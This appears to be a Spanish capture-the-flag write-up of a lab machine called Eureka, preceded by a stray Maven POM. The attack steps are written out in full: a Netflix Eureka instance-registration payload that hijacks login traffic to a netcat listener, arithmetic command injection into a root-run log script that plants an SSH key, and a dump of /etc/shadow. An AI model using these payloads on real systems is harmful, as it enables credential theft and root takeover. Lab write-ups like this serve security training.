<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>3.3.1</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.eureka</groupId>
	<artifactId>demo</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>Eureka server</name>
	<description>Demo project for Spring Boot</description>
	<url/>
	<licenses>
		<license/>
	</licenses>
	<developers>
		<developer/>
	</developers>
	<scm>
		<connection/>
		<developerConnection/>
		<tag/>
		<url/>
	</scm>
	<properties>
		<java.version>17</java.version>
		<spring-cloud.version>2023.0.2</spring-cloud.version>
	</properties>
	<dependencies>
		<dependency>
			<groupId>org.springframework.cloud</groupId>
			<artifactId>spring-cloud-starter-netflix-eureka-server</artifactId>
		</dependency>
		<dependency>
            		<groupId>org.springframework.boot</groupId>
            		<artifactId>spring-boot-starter-security</artifactId>
        	</dependency>
                
 <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-test</artifactId>
      <scope>test</scope>
    </dependency> 


	</dependencies>
	<dependencyManagement>
		<dependencies>
			<dependency>
				<groupId>org.springframework.cloud</groupId>
				<artifactId>spring-cloud-dependencies</artifactId>
				<version>${spring-cloud.version}</version>
				<type>pom</type>
				<scope>import</scope>
			</dependency>
		</dependencies>
	</dependencyManagement>

	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
			</plugin>
		</plugins>
	</build>

</project>
oscar190@eureka:/var/www/web$

Netflix Eureka

Descubrimos que Netflix Eureka es vulnerable donde existen dos vectores de ataque: SSRF y hijack internal + XSS como se indica en el post Hacking Netflix Eureka. Se muestra que la explotacion SSRF es a traves del registro de una nueva instancia con el mismo nombre de una existente, apuntando a una direccion interna, el gateway enviaria el trafico entre las dos instancias. En el caso de Traffic Hijack and XSS, se registra una instancia controlada, el gateway enviaria el trafico hacia este pudiendo filtrar cookies, tokens, etc.

Target

Para realizar la explotacion analizamos los archivos .jar de la aplicacion Furni y USER-MANAGEMENT-SERVICE. En el caso de Furni es la aplicacion que esta siendo ejecutada por el puerto 80.

1
2
3
4
5
6
oscar190@eureka:/var/www/web$ find . -iname *.jar -exec md5sum {} \;
8268523acf8ca30bc6f3f84a2db22fa3  ./Furni/target/Furni-0.0.1-SNAPSHOT.jar
932ddea54db4043ff054bc280eaf520a  ./cloud-gateway/target/demo-0.0.1-SNAPSHOT.jar
69a332cec0d91f49ac0d8de2b32bfbee  ./user-management-service/target/Furni-0.0.1-SNAPSHOT.jar
541a2f5288e16d953cf9289dd9209c40  ./Eureka-Server/target/demo-0.0.1-SNAPSHOT.jar
oscar190@eureka:/var/www/web$

user-management-service muestra rutas de registro y de login, Furni es la tienda y user-management-service es quien se encarga del registro y login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class UserController {
    private static final Logger logger = LoggerFactory.getLogger((Class<?>) UserController.class);

    @Autowired
    private CustomUserDetailsService userService;

    @GetMapping({"/register"})
    public String showRegistrationForm(Model model) {
        model.addAttribute(ClassicConstants.USER_MDC_KEY, new User());
        model.addAttribute("title", "Furni | Account Registeration");
        return "register";
    }

    @PostMapping({"/process_register"})
    public String processRegister(@Valid @ModelAttribute("user") User user, BindingResult result, Model model) {
        if (result.hasErrors()) {
            return "register";
        }
        try {
            this.userService.registerUser(user);
            logger.info("User '{}' registered in successfully", user.getEmail());
            return "redirect:/login";
        } catch (Exception e) {
            model.addAttribute("errorMessage", e.getMessage());
            return "register";
        }
    }
}

La ejecucion de pspy muestra la ejecucion de un script que simula el acceso como miranda al login. Con lo anterior, todo indicaria que user-management-service seria la instancia objetivo para una explotacion (Trafic Hijack).

1
2
3
4
2025/05/07 00:37:01 CMD: UID=0     PID=365968 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh 
2025/05/07 00:37:01 CMD: UID=0     PID=365971 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=NzJiZmVkMTMtYjA2MS00MjkwLTlkNDctMWRiZDZkNmZiY2M1 -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.14KxYORSrs --insecure -i 
2025/05/07 00:37:02 CMD: UID=0     PID=365974 | curl http://furni.htb/login   -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=NzJiZmVkMTMtYjA2MS00MjkwLTlkNDctMWRiZDZkNmZiY2M1 -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.14KxYORSrs --insecure -i 
2025/05/07 00:37:02 CMD: UID=0     PID=365977 |

Traffic Hijack

Para la explotacion obtuvimos informacion de la instancia target a traves de la API de Eureka Server para la construccion de nuestro payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ curl -s http://furni.htb:8761/eureka/v2/apps/USER-MANAGEMENT-SERVICE -H "Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==" -H "Accept: application/json" |jq
{
  "application": {
    "name": "USER-MANAGEMENT-SERVICE",
    "instance": [
      {
        "instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
        "hostName": "localhost",
        "app": "USER-MANAGEMENT-SERVICE",
        "ipAddr": "10.10.11.66",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
          "$": 8081,
          "@enabled": "true"
        },
        "securePort": {
          "$": 443,
          "@enabled": "false"
        },
        "countryId": 1,
        "dataCenterInfo": {
          "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
          "name": "MyOwn"
        },
        "leaseInfo": {
          "renewalIntervalInSecs": 30,
          "durationInSecs": 90,
          "registrationTimestamp": 1746564031545,
          "lastRenewalTimestamp": 1746581172202,
          "evictionTimestamp": 0,
          "serviceUpTimestamp": 1746564031545
        },
        "metadata": {
          "management.port": "8081"
        },
        "homePageUrl": "http://localhost:8081/",
        "statusPageUrl": "http://localhost:8081/actuator/info",
        "healthCheckUrl": "http://localhost:8081/actuator/health",
        "vipAddress": "USER-MANAGEMENT-SERVICE",
        "secureVipAddress": "USER-MANAGEMENT-SERVICE",
        "isCoordinatingDiscoveryServer": "false",
        "lastUpdatedTimestamp": "1746564031545",
        "lastDirtyTimestamp": "1746564030552",
        "actionType": "ADDED"
      }
    ]
  }
}

Creamos un nuevo archivo con la estructura json con unicamente el ‘objeto’ instance donde modificamos hostName y ipAddr, con valor a nuestra direccion IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
"instance":{
        "instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
        "hostName": "10.10.14.219",
        "app": "USER-MANAGEMENT-SERVICE",
        "ipAddr": "10.10.14.219",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
          "$": 8081,
          "@enabled": "true"
        },
        "securePort": {
          "$": 443,
          "@enabled": "false"
        },
        "countryId": 1,
        "dataCenterInfo": {
          "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
          "name": "MyOwn"
        },
        "leaseInfo": {
          "renewalIntervalInSecs": 30,
          "durationInSecs": 90,
          "registrationTimestamp": 1746564031545,
          "lastRenewalTimestamp": 1746581172202,
          "evictionTimestamp": 0,
          "serviceUpTimestamp": 1746564031545
        },
        "metadata": {
          "management.port": "8081"
        },
        "homePageUrl": "http://localhost:8081/",
        "statusPageUrl": "http://localhost:8081/actuator/info",
        "healthCheckUrl": "http://localhost:8081/actuator/health",
        "vipAddress": "USER-MANAGEMENT-SERVICE",
        "secureVipAddress": "USER-MANAGEMENT-SERVICE",
        "isCoordinatingDiscoveryServer": "false",
        "lastUpdatedTimestamp": "1746564031545",
        "lastDirtyTimestamp": "1746564030552",
        "actionType": null
  }
}

Registramos una nueva instancia a traves de la API especificando el payload con el mismo nombre de la instancia objetivo, la respuesta fue codigo 204 lo que indica registro exitoso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ curl -X POST http://furni.htb:8761/eureka/v2/apps/USER-MANAGEMENT-SERVICE -H "Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==" -H "Content-Type: application/json" --data @payload.json -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host furni.htb:8761 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.66
*   Trying 10.10.11.66:8761...
* Connected to furni.htb (10.10.11.66) port 8761
* using HTTP/1.x
> POST /eureka/v2/apps/USER-MANAGEMENT-SERVICE HTTP/1.1
> Host: furni.htb:8761
> User-Agent: curl/8.12.1
> Accept: */*
> Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
> Content-Type: application/json
> Content-Length: 1205
> 
* upload completely sent off: 1205 bytes
< HTTP/1.1 204 
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 0
< Cache-Control: no-cache, no-store, max-age=0, must-revalidate
< Pragma: no-cache
< Expires: 0
< X-Frame-Options: DENY
< Date: Wed, 07 May 2025 01:41:26 GMT
< 
* Connection #0 to host furni.htb left intact

Si listamos informacion del servicio vemos que apunta a nuestra direccion IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ curl -s http://furni.htb:8761/eureka/v2/apps/USER-MANAGEMENT-SERVICE -H "Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==" -H "Accept: application/json" |jq
{
  "application": {
    "name": "USER-MANAGEMENT-SERVICE",
    "instance": [
      {
        "instanceId": "localhost:USER-MANAGEMENT-SERVICE:8081",
        "hostName": "10.10.14.219",
        "app": "USER-MANAGEMENT-SERVICE",
        "ipAddr": "10.10.14.219",
        "status": "UP",
        "overriddenStatus": "UNKNOWN",
        "port": {
          "$": 8081,
          "@enabled": "true"
        },
        "securePort": {
          "$": 443,
          "@enabled": "false"
        },
        "countryId": 1,
        "dataCenterInfo": {
          "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
          "name": "MyOwn"
        },
        "leaseInfo": {
          "renewalIntervalInSecs": 30,
          "durationInSecs": 90,
          "registrationTimestamp": 1746582086769,
          "lastRenewalTimestamp": 1746582086769,
          "evictionTimestamp": 0,
          "serviceUpTimestamp": 1746564031545
        },
        "metadata": {
          "management.port": "8081"
        },
        "homePageUrl": "http://localhost:8081/",
        "statusPageUrl": "http://localhost:8081/actuator/info",
        "healthCheckUrl": "http://localhost:8081/actuator/health",
        "vipAddress": "USER-MANAGEMENT-SERVICE",
        "secureVipAddress": "USER-MANAGEMENT-SERVICE",
        "isCoordinatingDiscoveryServer": "false",
        "lastUpdatedTimestamp": "1746582086769",
        "lastDirtyTimestamp": "1746564030552",
        "actionType": "ADDED"
      }
    ]
  }
}

Ejecutamos netcat a la escucha por el puerto 8081, observamos un intento de autenticacion con el usuario miranda.wise@furni.htb donde especifica su contrasena. Con esto logramos el Traffic Hijack en Eureka.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nc -lvp 8081
listening on [any] 8081 ...
connect to [10.10.14.219] from furni.htb [10.10.11.66] 40182
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=NmNjOTNiZGItNmE5Yi00OWNlLWI1ZTItZDVlMDNkOTFjYjMy
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:49920"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.219:8081

username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=a99rLXJCo0G6-GdiY6SEr4adqcS_ZXAjZOERy_AnePlgs7xQUugJGxRxm3OXz1RWWomwzLCuhKWLXRQOU9Yhr8AXGpgCioRj
1
username=miranda.wise@furni.htb&password=IL!veT0Be&BeT0L0ve

User - miranda-wise

Utilizamos estas credenciales con el usuario miranda-wise logrando acceder a esta y nuestra flag user.txt.

1
2
3
4
5
6
7
8
oscar190@eureka:~$ su miranda-wise
Password: 
miranda-wise@eureka:/home/oscar190$ cd
miranda-wise@eureka:~$ ls
snap  user.txt
miranda-wise@eureka:~$ cat user.txt 
35f563b7765a54921d8f5591a0e92981
miranda-wise@eureka:~$

Privesc

pspy mostro la ejecucion del script log_analyse.sh por parte de root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
2025/05/07 00:44:06 CMD: UID=0     PID=405170 | 
2025/05/07 00:44:06 CMD: UID=0     PID=405169 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405174 | cut -d: -f1 
2025/05/07 00:44:06 CMD: UID=0     PID=405173 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405172 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405177 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405175 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405180 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405178 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405183 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405181 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405186 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405184 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log 
2025/05/07 00:44:06 CMD: UID=0     PID=405189 | cut -d: -f2 
2025/05/07 00:44:06 CMD: UID=0     PID=405188 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log

El script realiza un “reporte” del archivo log /var/www/web/cloud-gateway/log/application.log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
miranda-wise@eureka:~$ bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
----- Log Analysis Report -----

[+] Successful Login Counts:

Total Successful Logins: 0

[+] Failed Login Attempts:

Total Failed Login Attempts: 0

[+] HTTP Status Code Distribution:
     0 200
     0 201
     8 302
     0 400
     0 401
    50 403
     0 404
     0 500

Total HTTP Requests Tracked: 58

[+] Log Level Counts:
   107 INFO
    12 WARN

[+] ERROR Messages:


[+] Eureka Connection Failures:
Count: 1


Analysis completed. Results saved to log_analysis.txt
miranda-wise@eureka:~$ ls
log_analysis.txt  snap  user.txt
miranda-wise@eureka:~$

El script muestra multiples funciones para generar el “reporte” que luego es guardado en log_analysis.txt.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi


analyze_logins() {
    # Process successful logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")

    # Process failed logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")
}


analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}


analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}


display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

    # Successful logins
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
        total_success=$((total_success + count))
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"

    # Failed logins
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"
        total_failed=$((total_failed + count))
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"

    # HTTP status codes
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # Sort codes numerically
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)
        count=$(echo "$entry" | cut -d':' -f2)
        total_requests=$((total_requests + count))
        
        # Color coding
        if [[ $code =~ ^2 ]]; then color="$GREEN"
        elif [[ $code =~ ^3 ]]; then color="$YELLOW"
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
        else color="$CYAN"
        fi
        
        printf "${color}%6s %s${RESET}\n" "$count" "$code"
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}


# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

-eq is evil

Tras analizar el scrip encontramos que la funcion analyze_http_statuses esta haciendo uso de -eq lo que nos permitiria la ejecucion de comandos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then             # <-------------------- "-eq is evil"
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

Basados en el script, nuestro archivo deberia de quedar de la siguiente forma para ejecutar whoami cuyo resultado es enviado a /dev/shm/id.

1
2025-05-02T03:51:38.153Z  INFO 1360 --- [] [] eureka    : HTTP GET / - Status: a[$(whoami>/dev/shm/id)]+04

Afortunadamente, podemos renombrar el archivo de log, crear un archivo con nuestro comando y modificar el nombre a application.log.

1
2
3
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log application.bak
mv: replace 'application.bak', overriding mode 0664 (rw-rw-r--)? y
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ nano application.log

Tras unos segundos observamos el resultado en el archivo.

1
2
3
4
5
6
7
8
9
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -lah /dev/shm/id
total 4.0K
drwxrwxrwt  2 root root   60 May  2 04:00 .
drwxr-xr-x 19 root root 4.0K May  2 03:18 ..
-rw-r--r--  1 root root    5 May  2 04:00 id
miranda-wise@eureka:/var/www/web/cloud-gateway/log$
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cat /dev/shm/id 
root
miranda-wise@eureka:/var/www/web/cloud-gateway/log$

Shell

Generamos una clave SSH para miranda-wise.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ssh-keygen 
Generating public/private rsa key pair.
Enter file in which to save the key (/home/miranda-wise/.ssh/id_rsa): 
Created directory '/home/miranda-wise/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/miranda-wise/.ssh/id_rsa
Your public key has been saved in /home/miranda-wise/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mGrBO+Sc+3WcQ0NYRemCTvs30wkWqVrs2iJm/fX5ias miranda-wise@eureka
The key's randomart image is:
+---[RSA 3072]----+
|          .oo.   |
|         o  .    |
|        .... .   |
|   .   oo.. +    |
|    + ooSooo .   |
|   + =  oo+oo    |
|    O  ..==..o . |
|   . o+.+ooo+.+..|
|    .+...+oE.=+o.|
+----[SHA256]-----+
miranda-wise@eureka:/var/www/web/cloud-gateway/log$

Agregamos el comando para que nuestra clave publica sea agregada al archivo authorized_keys de root.

1
2025-05-02T03:51:38.153Z  INFO 1360 --- [] [] eureka    : HTTP GET / - Status: a[$(cat /home/miranda-wise/.ssh/id_rsa.pub > /root/.ssh/authorized_keys)]+04

Finalmente ingresamos por SSH como root logrando obtener una shell y nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:z8BoSlVbkzCg3ADRSfOpq5LF0ADhYqfINUJjCgbPeW0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-214-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 10 Apr 2025 07:41:57 AM UTC

  System load:           0.04
  Usage of /:            84.1% of 8.02GB
  Memory usage:          44%
  Swap usage:            0%
  Processes:             248
  Users logged in:       1
  IPv4 address for eth0: 10.129.232.19
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f97


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Fri May 2 04:04:52 2025 from 127.0.0.1
root@eureka:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@eureka:~# ls
log_analysis.txt  root.txt  snap
root@eureka:~# cat root.txt 
d6628916fd3b51d907d5689423799cf5
root@eureka:~# cat /home/miranda-wise/user.txt 
b27371734a03b49db22ad49ea9dfdd5f
root@eureka:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root:$6$OBLuDSnSI6fzrKsf$u9QRtUqJYklvj0ve0W792/K0OFtjkezL5d/glicQuh.wd2Zghc5DU5AR8wy3WqSN4XE4URKuT2Q.TvVn8V6aG.:19947:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19917:0:99999:7:::
sshd:*:19917:0:99999:7:::
systemd-coredump:!!:19917::::::
lxd:!:19917::::::
mysql:!:19925:0:99999:7:::
oscar190:$6$CCVgNnsseJFcoNGs$gzae.Om25l/QR2NNsAEeulOjuPVf.UxaTupSl.TIePjM47QM1PvPaFLY2I/BTM0kyltIHJ7MB3L8rBAnu8e501:19936:0:99999:7:::
miranda-wise:$6$cceIW.FRVwHUaXms$/A4OpW8llje8ChgjPMbb81eEs.SiaivbvJyoOFtDmF9loeQ.tU3G6yMQz3B5tThwjgPr7j/XZV4TrbqQhKTif1:19936:0:99999:7:::
_laurel:!:20188::::::
Share on

Dany Sucuc
WRITTEN BY
sckull